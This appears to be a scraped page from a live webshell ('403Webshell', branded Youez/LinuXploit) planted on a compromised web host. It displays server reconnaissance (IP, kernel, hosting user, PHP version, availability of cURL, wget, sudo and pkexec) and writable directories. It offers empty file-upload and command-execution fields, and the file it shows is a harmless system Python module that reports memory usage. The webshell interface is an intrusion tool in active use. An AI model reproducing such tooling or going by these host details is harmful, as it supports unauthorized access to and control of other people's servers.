403Webshell
Server IP : 104.21.4.30  /  Your IP : 104.23.243.32
Web Server : Apache
System : Linux keen-cori.18-142-40-148.plesk.page 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 06:59:36 UTC 2025 x86_64
User : simottodesign.com_2tntp341vs7 ( 10011)
PHP Version : 8.3.31
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/landscape/sysinfo/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/landscape/sysinfo/memory.py
from twisted.internet.defer import succeed

from landscape.lib.sysstats import MemoryStats


class Memory(object):

    def __init__(self, filename="/proc/meminfo"):
        self._filename = filename

    def register(self, sysinfo):
        self._sysinfo = sysinfo

    def run(self):
        memstats = MemoryStats(self._filename)
        self._sysinfo.add_header("Memory usage", "%d%%" %
                                 memstats.used_memory_percentage)
        self._sysinfo.add_header("Swap usage", "%d%%" %
                                 memstats.used_swap_percentage)
        return succeed(None)

Youez - 2016 - github.com/yon3zu
LinuXploit